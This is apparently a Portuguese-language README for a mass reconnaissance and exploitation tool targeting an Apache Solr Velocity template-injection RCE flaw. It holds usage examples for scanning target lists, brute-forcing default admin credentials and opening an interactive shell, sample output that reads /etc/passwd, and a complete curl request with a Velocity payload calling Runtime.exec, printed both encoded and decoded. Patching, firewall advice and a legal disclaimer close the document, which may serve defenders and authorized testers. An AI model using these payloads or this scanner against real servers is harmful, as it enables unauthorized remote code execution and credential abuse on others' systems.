
☄️ Estrutura de reconhecimento em massa e exploração para Apache Solr CVE-2026-44825 — Injeção de template Velocity para RCE
CVE-2026-44825 é uma vulnerabilidade de severidade crítica no Apache Solr que permite que atacantes atinjam Execução Remota de Código (RCE) não autenticada através da injeção de templates Velocity.
O endpoint /select do Apache Solr aceita um parâmetro wt=velocity que renderiza templates Velocity fornecidos pelo usuário. Quando o Velocity Response Writer está ativado (ou pode ser ativado via API de configuração), um atacante pode injetar um template malicioso que chama java.lang.Runtime.exec(), executando comandos arbitrários do sistema com os privilégios do processo Solr.
| Vetor | Severidade | Impacto |
|---|---|---|
| RCE não autenticada | 9.8 (Crítico) | Comprometimento total do sistema |
| RCE autenticada | 8.8 (Alto) | Execução de código pós-autenticação |
| Divulgação de Informações | 5.3 (Médio) | Enumeração de cores/coleções |
O Apache Solr inclui o Apache Velocity como um mecanismo de template opcional para renderização de respostas. A vulnerabilidade reside no VelocityResponseWriter do Solr, que processa parâmetros de template controlados pelo usuário sem sanitização adequada, permitindo a invocação direta de APIs de reflexão do Java:
Cadeia de Reflexão Java:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
| Versão do Apache Solr | Status | Notas |
|---|---|---|
| 9.4.0 – 9.10.1 | 🔴 Vulnerável | Exploração ativa na natureza |
| 10.0.0 | 🔴 Vulnerável | Lançamento inicial 10.x afetado |
| 10.0.1+ | 🟢 Corrigido | Correção retroportada |
| 9.10.2+ | 🟢 Corrigido | Versão de correção disponível |
| ≤ 9.3.x | 🟢 Não Afetado | Velocity Response Writer não presente |
| 8.x (todas) | 🟢 Não Afetado | Sem suporte a Velocity |
Nota: As verificações de versão são realizadas automaticamente analisando a resposta JSON
/admin/info/system.
🔍 Reconhecimento
|
💀 Exploração
|
# Clone o repositório
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Instale as dependências
pip install -r requirements.txt
# Verifique
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
Apenas bibliotecas padrão +
requests. Sem dependências exóticas.
CVE-2026-44825 Apache Solr Scanner
-t, --target URL ou IP[:porta] do alvo único
-f, --file Arquivo contendo alvos (um por linha, # para comentários)
--exploit Auto-explorar se credenciais vulneráveis forem encontradas
--rce Iniciar shell interativo após autenticação
-u, --user Nome de usuário para Basic Auth
-pw, --password Senha para Basic Auth
-o, --output Caminho do arquivo de saída JSON (padrão: solr_results.json)
-w, --workers Número de threads concorrentes (padrão: 30)
-T, --timeout Tempo limite da requisição HTTP (segundos) (padrão: 8)
# Alvo único
python solr_scanner.py -t 192.168.1.100:8983
# Alvo único com caminho personalizado
python solr_scanner.py -t http://example.com/solr
# Varredura em massa a partir de arquivo
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — suporta comentários e linhas em branco
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR não suportado; pré-expanda com ferramenta externa)
# Varredura + auto-exploração se credenciais encontradas
python solr_scanner.py -f targets.txt --exploit
# Credenciais conhecidas + shell interativa
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Auto força bruta + shell em caso de sucesso
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Alvos: 3 | Threads: 30 | Timeout: 8s
Varrendo...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (sem auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Concluído. Total:3 | Solr:3 | Vuln:1
Todos os 3 alvos detectados. A instância 9.4.1 é sinalizada como vulnerável com Basic Auth ativado.
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Cols: ['cms', 'users', 'search', 'analytics']
A credencial padrão
admin:SolrRocksconcede acesso às APIs admin do Solr. Quatro coleções descobertas.
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner
[+] admin:SolrRocks
solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr$ hostname
solr-prod-cms-01.internal
solr$ whoami
solr
solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...
solr$ exit
Acesso completo à shell interativa com os privilégios do processo Java do Solr.
Para pesquisadores que desejam entender a troca HTTP bruta:
Passo 1 — Verificar se o Solr está acessível
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"
Passo 2 — Listar coleções disponíveis
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}
Passo 3 — Executar comando via injeção de template Velocity
curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
'http://target:8983/solr/cms/select'
Payload do template Velocity decodificado:
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($ex=$rt.getRuntime().exec('id'))
$ex.waitFor()%
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
Resposta:
uid=8983(solr) gid=8983(solr) groups=8983(solr)
┌──────────────────────────────────────────────────────┐
│ SOLRRADAR │
├───────────────┬──────────────────────────────────────┤
│ FASE RECON │ FASE EXPLOIT │
│ │ │
│ ┌─────────┐ │ ┌──────────┐ ┌────────────────┐ │
│ │ Detectar│──┼──▶ Força │───▶│ Velocity RCE │ │
│ │ Solr │ │ │ bruta │ │ Injeção de │ │
│ └────┬────┘ │ └────┬─────┘ │ Template │ │
│ │ │ │ └───────┬────────┘ │
│ ▼ │ │ │ │
│ ┌─────────┐ │ ▼ ▼ │
│ │ Verificar│ │ ┌──────────┐ ┌────────────────┐ │
│ │ Versão │ │ │ Cred. │ │ Runtime.exec() │ │
│ │ │ │ │ Padrão │ │ → RCE │ │
│ └─────────┘ │ └──────────┘ └────────────────┘ │
│ │ │
│ ┌─────────┐ │ ┌────────────────────────────────┐ │
│ │ Sondagem │ │ │ Shell Interativa (--rce) │ │
│ │ Auth │ │ └────────────────────────────────┘ │
│ └─────────┘ │ │
└───────────────┴──────────────────────────────────────┘
URL do Alvo
│
▼
┌─────────────┐
│ normalizar │ → adicionar http:// + /solr se ausente
└──────┬──────┘
│
▼
┌─────────────┐ Não
│ GET /admin/ ├──────── Pular alvo
│ info/system │
└──────┬──────┘
│ Sim (200/401)
▼
┌─────────────┐
│ Analisar │ → extrair solr-spec-version
│ JSON da │
│ impressão │
└──────┬──────┘
│
▼
┌─────────────┐
│ is_vuln() │ → 9.4–9.10.x ou 10.0.0 ?
└──────┬──────┘
│
├── Não vulnerável → Relatar, prosseguir
│
▼ Vulnerável
┌─────────────┐
│ Verificação │ → /admin/cores?action=STATUS
│ de Auth │ → /admin/collections?action=LIST
│ (3 estágios)│
└──────┬──────┘
│
├── Sem auth → Tentar listagem não autenticada
│
▼ Auth detectado
┌─────────────┐
│ Força bruta │ → 4 usuários × 8 senhas = 32 tentativas
│ de cred. │
└──────┬──────┘
│
├── Sem correspondência → Relatar vulnerável (sem credenciais)
│
▼ Credenciais encontradas
┌─────────────┐
│ Listar cols │ → /admin/collections ou /admin/cores
│ / cores │
└──────┬──────┘
│
▼
┌─────────────┐
│ RCE via │ → POST /{collection}/select
│ Velocity │ → Template Velocity → Runtime.exec()
└─────────────┘
bool(Response[401]) == False é ImportanteUma sutil armadilha Python descoberta durante o desenvolvimento:
>>> import requests
>>> r = requests.get('https://httpbin.org/status/401')
>>> bool(r)
False # ← Respostas 4xx/5xx avaliam como False!
Isso significa que cada verificação if response and ... ignora silenciosamente respostas de erro — mesmo quando você especificamente deseja lidar com 401. A correção é sempre usar if response is not None and ...:
# ❌ Quebrado — respostas 401 são ignoradas silenciosamente
if r and r.status_code == 401:
auth = True
# ✅ Correto — verificar explicitamente se é None
if r is not None and r.status_code == 401:
auth = True
O scanner usa uma estratégia de detecção em 3 níveis para minimizar falsos negativos:
'solr' in response.text.lower()
Captura Solr em chaves JSON ("solr_home", "solr-spec-version", "mode":"solrcloud"), painéis HTML e páginas de erro — sem distinção entre maiúsculas e minúsculas.
'solr' in response.headers.get('Server', '').lower()
Algumas implantações incluem "Solr" no cabeçalho HTTP Server.
# Estágio 1: Verificar código de resposta de /admin/info/system
# Estágio 2: Sondar /admin/cores?action=STATUS para 401
# Estágio 3: Sondar /admin/collections?action=LIST para 401
Captura implantações onde /admin/info/system é público, mas operações administrativas exigem autenticação.
Dois padrões regex para robustez:
VERSION_RE = [
r'solr-spec-version[^0-9]*([\d.]+)', # lucene.solr-spec-version
r'solr-impl-version[^0-9]*([\d.]+)', # lucene.solr-impl-version
]
Se você está executando Apache Solr, aplique estas medidas de proteção imediatamente:
# Atualize para uma versão corrigida
# Solr 9.x → 9.10.2 ou superior
# Solr 10.x → 10.0.1 ou superior
<!-- Em solrconfig.xml — REMOVA ou COMENTE: -->
<!--
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter"/>
-->
# Restringir acesso a endpoints admin do Solr no nível de rede
# Permitir apenas intervalos de IP confiáveis para acessar as portas 8983/7574
iptables -A INPUT -p tcp --dport 8983 -s TRUSTED_IP/32 -j ACCEPT
iptables -A INPUT -p tcp --dport 8983 -j DROP
# Use este scanner contra SUA própria infraestrutura
python solr_scanner.py -f my_solr_instances.txt -o audit_results.json
🚨 APENAS PARA FINS EDUCACIONAIS & TESTES AUTORIZADOS
Este software é fornecido exclusivamente para fins educacionais e pesquisa de segurança legítima. Destina-se a ser usado por:
- 🛡️ Profissionais de segurança realizando testes de penetração autorizados
- 🏢 Organizações auditando sua própria infraestrutura Apache Solr
- 🔬 Pesquisadores estudando técnicas de exploração de vulnerabilidades
- 🎓 Estudantes aprendendo sobre segurança de aplicações web
❌ Você NÃO pode usar este software para:
- Acessar sistemas de computador sem autorização explícita por escrito
- Comprometer, danificar ou interromper sistemas que você não possui
- Envolver-se em atividades ilegais de qualquer tipo
⚖️ Aviso Legal
O acesso não autorizado a sistemas de computador viola leis incluindo, mas não se limitando a:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- Indonésia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- União Europeia: Diretiva 2013/40/EU
- Reino Unido: Computer Misuse Act 1990
O(s) autor(es) NÃO ASSUMEM NENHUMA RESPONSABILIDADE por qualquer uso indevido, dano ou consequência legal resultante do uso desta ferramenta. Ao usar este software, você reconhece que é o único responsável por suas ações e concorda em cumprir todas as leis aplicáveis.
| Recurso | Link |
|---|---|
| Entrada NVD | CVE-2026-44825 |
| Segurança Apache Solr | solr.apache.org/security |
| Documentação Velocity do Solr | Velocity Response Writer |
| OWASP Injeção de Template | Server-Side Template Injection |
⚡ Construído com precisão para a comunidade de pesquisa em segurança ⚡
Apache® e Apache Solr® são marcas registradas da Apache Software Foundation.
Este projeto não é afiliado ou endossado pela Apache Software Foundation.